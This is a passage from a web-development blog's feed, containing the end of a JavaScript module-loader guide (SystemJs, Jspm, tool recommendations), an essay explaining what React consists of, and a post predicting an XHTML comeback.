&lt;p&gt;Ok, I know it’s a lot, but stay with it, if you’re with me so far this next part should be fairly easy.&lt;/p&gt;

&lt;p&gt;SystemJs is a polyfill that’s implements our best-guess at what the final consensus for the module loader will look like.&lt;/p&gt;

&lt;p&gt;It is also basically RequireJs with different function names. Require has been fighting the good fight of bringing modules to the browser since before es6 was a glint in ECMA’s eye (a phrase that sounds like something an optometrist would complain about), and therefore has an API that is incompatible in terminology - but not in theory - with Javascript Modules.&lt;/p&gt;

&lt;p&gt;If you followed along above as to how RequireJs works in fake-CommonJs mode then you already understand this stuff.&lt;/p&gt;

&lt;p&gt;Instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main.js&lt;/code&gt; looking like&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; const users = require(&apos;./list-of-users&apos;)
 const products = require(&apos;./list-of-products&apos;)
 console.log(`The system contains ${users.length} users`)
 console.log(`The system contains ${products.length} products`)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We write&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; import users from &apos;./list-of-users&apos;
 import products from &apos;./list-of-products&apos;
 console.log(`The system contains ${users.length} users`)
 console.log(`The system contains ${products.length} products`)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;import&lt;/code&gt; syntax makes it easier to pick out dependencies by parsing the file and handles some rare edge cases Require struggles with.&lt;/p&gt;

&lt;p&gt;Then to bootstrap things, instead of&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; &amp;lt;script&amp;gt;require(&apos;main&apos;)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We write&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; &amp;lt;script&amp;gt;System.import(&apos;main&apos;)&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And that’s about it! In fact many of the configuration options (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SystemJs.config(...)&lt;/code&gt; rather than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;requirejs.config(...)&lt;/code&gt;) and workflows work exactly the same with System as with Require!&lt;/p&gt;

&lt;p&gt;As before, all the same pluses and minuses apply and you realistically will want a build step before shipping to production but you do not need one in development.&lt;/p&gt;

&lt;aside&gt;
  SystemJs has an interesting alternative step that exists in some AMD loaders - though not in Require that I&apos;m aware of - in that rather than generating a bundle, a tool can walk the dependency tree and generate simply a list of all modules in the system. This can then be added to the loader configuration via a &lt;code&gt;depcache&lt;/code&gt; node indicating to the loader all the modules that it should fetch in parallel up-front. With Http/2 enabled systems, this approach can see enormous speed boosts and is certainly worth keeping in mind. At time of writing this feature mostly works with some occasional bugs.
&lt;/aside&gt;

&lt;p&gt;In most ways, SystemJs supplants RequireJs and 95% of the time is a more future-proof tool with great feature parity.&lt;/p&gt;

&lt;h2 id=&quot;i-totally-love-jspm&quot;&gt;I Totally Love Jspm&lt;/h2&gt;

&lt;p&gt;Those who know me personally might know that I’m a fairly unabashed &lt;a href=&quot;http://jspm.io/&quot;&gt;Jspm&lt;/a&gt; fanboy. I am and I  certainly am not going to pass up the opportunity to mention it.&lt;/p&gt;

&lt;p&gt;The summary on the Jspm page isn’t wrong, but with the background of this article, I think it can be explained easier:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Jspm is a CLI (Command Line Interface) for configuring SystemJs&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I glossed over it before, but configuring both SystemJs and Require - and especially configuring it in a way that third party modules are nice to work with - can be a &lt;em&gt;beast&lt;/em&gt;. Jspm makes that much easier. When you do &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jspm install jquery&lt;/code&gt; for example, the tool will download &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jquery&lt;/code&gt; into your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jspm_packages/&lt;/code&gt; folder, structure it to optimize its loading via modules, and add the proper configuration to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.js&lt;/code&gt; file containing your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SystemJs.config(...)&lt;/code&gt; call. When it comes time to deploy to production, the jspm CLI further provides a nice api for bundling and for generating dependency caches.&lt;/p&gt;

&lt;p&gt;Even nicer, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jspm init&lt;/code&gt; will walk you through downloading and setting up SystemJs for the first time, including doing the hard work of setting up a client-side Babel or Typescript compiler if you so wish.&lt;/p&gt;

&lt;p&gt;In my opinion, using Jspm whenever you use SystemJs is a complete no-brainer.&lt;/p&gt;

&lt;h1 id=&quot;recommendations-on-usage&quot;&gt;Recommendations on Usage&lt;/h1&gt;

&lt;p&gt;Now we get to it, you’re done pondering the underlying tech and want me to just tell you what to do. Here is my current recommendation rubric:&lt;/p&gt;

&lt;p&gt;If…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;You put a premium on getting started with javascript modules and getting as close to the future experience as possible
    &lt;ul&gt;
      &lt;li&gt;and you are comfortable digging into the details, peeling back the layers of a &lt;a href=&quot;http://www.joelonsoftware.com/articles/LeakyAbstractions.html&quot;&gt;leaky abstraction&lt;/a&gt; and debugging occasional issues in the module loader &lt;em&gt;or&lt;/em&gt; the idea of a build process for your Javascript is completely unacceptable.
        &lt;ul&gt;
          &lt;li&gt;choose SystemJs with Jspm&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;or you are ok with a build process and want things to just-work as easily as possible with good documentation but with potential for more difficult to debug errors down the line
        &lt;ul&gt;
          &lt;li&gt;choose Webpack&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;You are ok with a build process, want to understand and have great good control over it, and would like an experience as close as possible to NodeJs
    &lt;ul&gt;
      &lt;li&gt;choose Rollup (although earlier we largely talked about Browserify, Rollup seems to supplant it in nearly all respects)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Your project is in the tiny minority which needs &lt;a href=&quot;http://jrburke.com/2015/02/13/how-to-know-when-es-modules-are-done/&quot;&gt;advanced features&lt;/a&gt; like nested dependency containers and dynamic loading of modules
    &lt;ul&gt;
      &lt;li&gt;choose RequireJs&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;You just want to get running, don’t have all that much javascript to write anyways, and don’t want to spend time on this nonsense
    &lt;ul&gt;
      &lt;li&gt;Just use script tags like you did before, don’t worry about any of this, its not for you&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Hopefully this clarifies the whats, hows, and whys of a confusing paradigm and is useful to developers as they learn how to wield this most powerful tool in the javascript arsenal.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Why You Don&apos;t Get React</title>
      <link>http://georgemauer.net/2016/10/29/why-you-dont-get-react.html</link>
      <pubDate>Sat, 29 Oct 2016 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2016/10/29/why-you-dont-get-react.html</guid>
      <description>&lt;p&gt;My coworker and friend &lt;a href=&quot;http://emadibrahim.com/2016/10/26/am-i-wrong-in-hating-react-js/&quot;&gt;Emad Ibrahim blogged recently&lt;/a&gt; about how he doesn’t really get the hoopla around ReactJs. (Are pingbacks even a thing anymore btw? They were a great way of keeping track of multi-blog discussions.)&lt;/p&gt;

&lt;p&gt;This is the key paragraph&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;React JS – for some reason I just f***ing hate it. I hate html in javascript. I hate JSX.  I hate the lack of CLI. I hate the lack of conventions – every project I look at looks different, every blog post looks different.  I hate the ridiculous amount of shit I have to do to simply get a project started. I hate the sheer amount of boilerplate code and the verbosity.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I responded in the comment section but want it written up here as well as I’ve seen similar sentiments even from React fans.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What the conversation is missing is that React is not a single thing.&lt;/strong&gt;&lt;/p&gt;

&lt;h1 id=&quot;what-react-is&quot;&gt;What React is&lt;/h1&gt;

&lt;p&gt;When people talk about React, they’re really talking about two or three distinct things depending on how you’re counting.&lt;/p&gt;

&lt;h2 id=&quot;virtual-dom&quot;&gt;Virtual-Dom&lt;/h2&gt;

&lt;p&gt;First, we have virtual-dom concept and implementation. This is the part that feels so powerful to people and what brings first-class ultra-lightweight components that can rely upon built-in Javascript features rather than some framework thing.&lt;/p&gt;

&lt;p&gt;This does &lt;em&gt;not&lt;/em&gt; include Jsx. In fact, the default way of working with &lt;a href=&quot;https://github.com/Matt-Esch/virtual-dom/&quot;&gt;virtual-dom direct&lt;/a&gt; (this particular library was extracted from React, there are a few others) is to use &lt;a href=&quot;https://github.com/dominictarr/hyperscript&quot;&gt;hyperscript notation&lt;/a&gt; which…is just awesome and is basically what the last 10 years of template language evolution has been aiming towards.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;otherSystems&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;haml&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;pug&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;emmet&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;render&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;section&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{},&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;ul.other-sytems, {},
          ...otherSystems.map(name =&amp;gt;
              h(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;, {}, `Hey, this looks like ${name} but is raw Javascript? Yes please!`)
          )
      )
    )
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Yes, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt; function is wierd, but look at how clean that is! Do you want components? Just make a function! It all looks even nicer in languages that support lightweight symbols like &lt;a href=&quot;https://github.com/r0man/sablono&quot;&gt;Clojurescript with Hiccup&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-clj highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;defn&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;render&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;let&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;other-systems&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;haml&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pug&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;emmet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;:section&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
     &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;:ul.other-systems&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
         &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;other-systems&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
           &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;:li&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Even more like &quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot; then before!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]]))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;One of the huge, all-credit-to-them things that Facebook did with React was not only create a solid virtual-dom implementation, but do the PR legwork to convince developers that javascript-generated DOM was not the evil villain we all believed it to be five years ago. It was odd at first but it has now been a while since I have heard people expressing any real emnity toward virtual-dom. In fact, I hear whispers that both Ng2 and Ember are taking steps to embrace the concept.&lt;/p&gt;

&lt;p&gt;I actually strongly recommend for people to play around with the virtual-dom library directly to solidify the concept and distinguish it from React overall.&lt;/p&gt;

&lt;h2 id=&quot;facebook-conventions&quot;&gt;Facebook Conventions&lt;/h2&gt;

&lt;p&gt;This is the other part of React-standard that people talk about when they talk of React.&lt;/p&gt;

&lt;p&gt;ReactJs includes a very thin layer of Facebook-specific conventions around how to work with the virtual-dom system. This includes&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Jsx&lt;/li&gt;
  &lt;li&gt;Their component structure, lifecycle and optimizations around this&lt;/li&gt;
  &lt;li&gt;State, props and context distinctions&lt;/li&gt;
  &lt;li&gt;The propTypes checker&lt;/li&gt;
  &lt;li&gt;The way that React captures and routes DOM events&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And thats about all that I can think of.&lt;/p&gt;

&lt;p&gt;I think this is the area that contains the entirety of Emad’s complaints. And that’s fine, maybe Facebook’s conventions are not for you - I also do not care for most of these things (component optimizations and DOM event handling are cool, the rest can jump off a cliff) but this is only one part of React, and frankly its usually not the part that people are talking about when they say they love it.&lt;/p&gt;

&lt;p&gt;It should be mentioned that most of these are lightweight enough that you can work in your own technique in fairly easily. For example Jsx can be supplanted by &lt;a href=&quot;https://facebook.github.io/react/blog/2014/10/14/introducing-react-elements.html&quot;&gt;wrapping your components in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;React.createFactory&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;the-redux-thing&quot;&gt;The Redux Thing&lt;/h2&gt;

&lt;p&gt;Finally, if you consider the React community as a whole, one of the big things that people will hail is this whole Redux/Flux/Reflux uni-directional dataflow thingy.&lt;/p&gt;

&lt;p&gt;This is fine. I personally, think people love it because its different and they’re being introduced to a whole new paradigm that many haven’t really explored previously. Eventually it will become overused and we’ll be able to admit to ourselves that it’s not a great idea absolutely everywhere and that modelbinding and forms all have their place as well. But I’m perfectly willing to admit that its a great concept and possibly even one that should be considered the default.&lt;/p&gt;

&lt;p&gt;Now, I am not super into Redux. I have no problem with the project itself, and I actually quite like &lt;a href=&quot;http://redux.js.org/docs/introduction/&quot;&gt;the team’s messaging around it&lt;/a&gt;, but there’s just too much fanboyism around a library that can be implemented in like 5 lines of code for my taste. Personally, I would probably lean a bit more toward event-sourcing in an implementation, keeping around and aggregating all events on any interaction and using mementos to boost performance. I also feel like certain variations on this concept such as &lt;a href=&quot;https://github.com/Day8/re-frame#subscribe&quot;&gt;clojurescript’s re-frame&lt;/a&gt; tend to cut down on boilerplate and be easier to work with.&lt;/p&gt;

&lt;h1 id=&quot;its-about-concepts-not-syntax&quot;&gt;It’s About Concepts Not Syntax&lt;/h1&gt;

&lt;p&gt;So that’s what I think Emad is missing. I doubt very much that he dislikes virtual-dom, and it seems unlikely he unilaterally dislikes the entire &lt;em&gt;concept&lt;/em&gt; of Redux. Sure, Facebook’s conventions might not be to his liking. And that’s fine. The category of React-style-system is a lot more than that and I don’t think that Facebook has necessarily hit on the best abstractions. In fact it seems doubtful that a single one-size-fits-all abstraction is even possible.&lt;/p&gt;

&lt;p&gt;When people rave over React, they’re likely focused more on the broader ideas and not really talking about the React specific conventions. Of course these conventions might be all they know and they have no scope of reference for what else is possible within the arena, but it seems quite possible that they might not be talking about React in the same context as you are.&lt;/p&gt;

&lt;p&gt;And this also explains the other part of Emad’s complaint. Why does every single React example look different? Well here we get this now-old chestnut&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://twitter.com/jaffathecake/status/606064895805792256&quot;&gt;&lt;img src=&quot;https://pbs.twimg.com/media/CGmggYDXAAEbBC-.png:small&quot; alt=&quot;React is not a framework&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And now it almost even makes sense. The above isn’t a framework so much as a set of concepts that are useful for assembling your own framework. Yes there are some conventions that get you half way there, but you still have to complete the other half, and if you don’t like these conventions you’re free to pick and chose your own. So if you want true parity to compare with something like Angular or Ember you have to look beyond simply “React”.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But here’s the thing&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The concepts are few in number and extremely powerful. The fact that all React-style systems tend to rely on Javascript for as much as possible, and that the virtual-dom and immutable data flow concepts are simple and almost universal in these, make it incredibly easy to transfer knowledge from one system to another. Knowing React well, you should be able to pick up Dio or Preact in about an hour; Reframe was also not a problem for me working through a Clojure workshop. Even in a language I’m largely unfamiliar with, it only took understanding their concept of a subscription and I was able to work with it in confidence. I haven’t tried Om or CycleJs yet, but I wouldn’t be surprised to find these with a smooth learning curve as well.&lt;/p&gt;

&lt;p&gt;And that’s the power and elegance that people are talking about and the thing that you might be missing if you don’t investigate the community further.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Predictions: XHTML</title>
      <link>http://georgemauer.net/2016/08/07/predictions-xhtml.html</link>
      <pubDate>Sun, 07 Aug 2016 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2016/08/07/predictions-xhtml.html</guid>
      <description>&lt;style&gt;
article figure {
    display: flex;
    flex-direction: column;
    align-items: center;
}
article figcaption {
    font-size: .7em;
    text-align: center;
}
&lt;/style&gt;

&lt;p&gt;Recently I gave a talk at SQL Saturday Baton Rouge on the history of the Web. This was a version of a talk I had given many times before, largely to codecamp classrooms of novice developers. In sexing it up for a professional technical crowd, I ended up rewriting it completely - going back to a lot of primary sources, reading the &lt;a href=&quot;https://lists.w3.org/Archives/Public/www-talk/&quot;&gt;www-talk archives&lt;/a&gt; and the &lt;a href=&quot;https://www.w3.org/People/Raggett/book4/ch02.html&quot;&gt;various&lt;/a&gt; &lt;a href=&quot;https://www.w3.org/Style/LieBos2e/history/&quot;&gt;books&lt;/a&gt; written by people &lt;a href=&quot;https://www.w3.org/People/Berners-Lee/Weaving/Overview.html&quot;&gt;who were there at the time&lt;/a&gt; &lt;em&gt;(Side note: a surprising amount of these individuals feel a need to include sections in their articles on the particular type of food and entertanment had at w3c conferences. It’s…weird.)&lt;/em&gt; In doing all this research to get an understanding of how it is that we got where we did, I ended up forming some opinions on where we’re probably going.&lt;/p&gt;

&lt;p&gt;In this blog post series I’m going to make some hopefully non-obvious predictions about the future of the world wide web and how it is that we got here.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;prediction-1-xhtml-will-make-a-comeback&quot;&gt;Prediction 1: XHTML Will Make a Comeback&lt;/h2&gt;

&lt;figure style=&quot;float: right; width: 100px&quot;&gt;
    &lt;svg height=&quot;100&quot; width=&quot;66&quot;&gt;
    &lt;defs&gt;
        &lt;linearGradient id=&quot;grad1&quot; x1=&quot;0%&quot; y1=&quot;0%&quot; x2=&quot;0%&quot; y2=&quot;100%&quot;&gt;
            &lt;stop offset=&quot;0%&quot; style=&quot;stop-color:#93c47d;stop-opacity:1&quot; /&gt;
            &lt;stop offset=&quot;50%&quot; style=&quot;stop-color:#ffd966;stop-opacity:1&quot; /&gt;
            &lt;stop offset=&quot;100%&quot; style=&quot;stop-color:#e06666;stop-opacity:1&quot; /&gt;
        &lt;/linearGradient&gt;
    &lt;/defs&gt;
        &lt;rect x=&quot;0&quot; y=&quot;0&quot; width=&quot;100%&quot; height=&quot;100%&quot; fill=&quot;url(#grad1)&quot; stroke-width=&quot;3&quot; stroke=&quot;#000060&quot; /&gt;
        &lt;rect x=&quot;0&quot; y=&quot;32%&quot; height=&quot;5%&quot; width=&quot;100%&quot; fill=&quot;#000060&quot; title=&quot;68% sure&quot; /&gt;
    &lt;/svg&gt;
    &lt;figcaption&gt;A graphical illustration of how sure I am of this particular prediction&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;When I was starting out professionally in 2006, XHTML was the bane of my, and many other developers’, existance. You would write your page, test it in Internet Explorer and Firefox, struggle to get things layed out properly, ensure that any server or clientside errors would be hidden from the user. Then you would launch a test site and pass the results of your days of work through the &lt;a href=&quot;https://validator.w3.org/#validate_by_uri+with_options&quot;&gt;XHTML validator&lt;/a&gt;…only to be told that you have roughly 127 validation errors. You suck.&lt;/p&gt;

&lt;p&gt;And the worst part was that the site &lt;em&gt;already looked good&lt;/em&gt;. What was the point of the whole XHTML thing if it didn’t help you achieve what you wanted? And then XHTML2 was supposed to be &lt;strong&gt;backwards incompatible&lt;/strong&gt;!!? No Thank you. Like many others, I cheered when the effort was finally discontinued.&lt;/p&gt;

&lt;p&gt;But here’s the thing. XHTML was a &lt;em&gt;good idea&lt;/em&gt;. HTML was initially &lt;a href=&quot;https://en.wikipedia.org/wiki/Standard_Generalized_Markup_Language&quot;&gt;descended from SGML&lt;/a&gt; which is a sort of document markup meta-language. This is where we get angle brackets from and why our web pages look&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;html&quot;&gt;
&amp;lt;h1&amp;gt;Like This&amp;lt;/h1&amp;gt;
&amp;lt;ul&amp;gt;
   &amp;lt;li&amp;gt;one&amp;lt;/li&amp;gt;
   &amp;lt;li&amp;gt;two&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;instead of something&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;js&quot;&gt;
h1(&quot;Like This&quot;)
list(
    item(&quot;one&quot;)
    itme(&quot;two)
)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Regardless how you might feel about the final syntax, the fact that Tim Berners Lee could present his work at SGML conferences, and that people could immediately start using SGML tools to author web pages was a key component in the early success of the web. In fact, throughout the early and mid nineties, you rarely hear people discussing HTML except as an SGML subset.&lt;/p&gt;

&lt;p&gt;It &lt;em&gt;did&lt;/em&gt; start to deviate in both essense and syntax for a variety of reasons. Mostly due to browser vendors who - with feature requests pouring in - implemented them rapidly without waiting for community consensus. The situation slowly got worse and worse as the pace of users and thereby feature requests grew exponentially.&lt;/p&gt;

&lt;figure style=&quot;float: left&quot;&gt;
    &lt;img src=&quot;/img/predictions-xhtml/marc-andreessen.png&quot; alt=&quot;Marc Andreessen&quot; /&gt;
    &lt;figcaption&gt;Pictured: &lt;a href=&quot;https://eager.io/blog/to-what-extent-did-marc-andreessen-invent-the-internet/&quot;&gt;Reasons&lt;/a&gt;&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;By the turn of the century the situation was growing untenable. Whereas the early web was teeming with web browsers created and maintained by a single individual, HTML was getting sufficiently complex to require the full resources of a company and many years of development. XHTML was meant to address this at least in part - by making HTML more consistent, it would be easier to parse, and thereby easier to write new clients both for use by both people and for machines.&lt;/p&gt;

&lt;p&gt;Of course &lt;a href=&quot;http://alistapart.com/article/a-brief-history-of-markup&quot;&gt;this was not to be&lt;/a&gt;. In early 2000, the W3C approved XHTML1 and XHTML1.1 as an interim measure. These tightened restrictions on HTML; ensuring quoted attributes, that the correct tags were closed, that sort of thing. This is the XHTML that I remember and it wasn’t nearly enough to make things easy. XHTML2 was the one that was really going to bring all the boys to the yard - and to do that, XHTML2 and HTML would necessarily be related but incompatible formats.&lt;/p&gt;

&lt;p&gt;This was a problem for the portion of the internet that had not lost touch with reality. In 2005, to reflect what people actually wanted, the WHATWG community was formed with the goal of mapping out the HTML that was actually used and providing some light direction. They called this HTML5. The WHATWG was structured to be more agile than the W3C and was able to make strides rapidly. By 2006, to continue to ignore its work the W3C would be risking obsolescense. Therefore they created their own HTML 5 (with a space!) group, whose work would be based on WHATWG’s and would drive HTML foreward while XHTML was still cooking. And as HTML 5 progressed, it became clear that not only would XHTML2 not be ready any time soon, but it was rapidly missing its window of relevancy. As this became more and more obvious &lt;a href=&quot;https://www.w3.org/News/2009#item119&quot;&gt;the XHTML2 group was de-chartered&lt;/a&gt; in favor of more resources put toward HTML 5.&lt;/p&gt;

&lt;p&gt;Yet I’m calling an XHTML comeback.&lt;/p&gt;

&lt;p&gt;Again, XHTML is a &lt;strong&gt;good idea&lt;/strong&gt; and its absence has been a stumbling block in accessibilty tech and the development of the semantic web. Developing HTML parsers need not be so difficult as to be the realm of a few dozen groups on earth. XHTML would be great, but history has shown that people don’t care to write it. But here’s the out: &lt;em&gt;People don’t write all that much HTML anymore&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;I mean obviously they do, but hang with me here.&lt;/p&gt;

&lt;p&gt;An ever-increasing percentage of sites are nowadays written with a &lt;a href=&quot;https://github.com/Matt-Esch/virtual-dom&quot;&gt;virtual-dom&lt;/a&gt; derivative library. This is a good thing and is the natural culmination of the maxim that any markup language eventually becomes a programming one. With virtual-dom you are using a programming language (typically Javascript) not to create HTML directly, but to define the DOM you would like to have (pretty please). The library itself is then in charge of making it so. And if so, it is no more difficult for a framework to generate XHTML than HTML or direct DOM manipulation. It all just depends what options you run the library with.&lt;/p&gt;

&lt;p&gt;Now obviously, framework generated HTML will never compose a majority of the web and anyone aspiring to write a general-purpose web browser will still need to parse HTML as before. But many &lt;strong&gt;special-purpose&lt;/strong&gt; clients could absolutely be created to support XHTML alone.&lt;/p&gt;

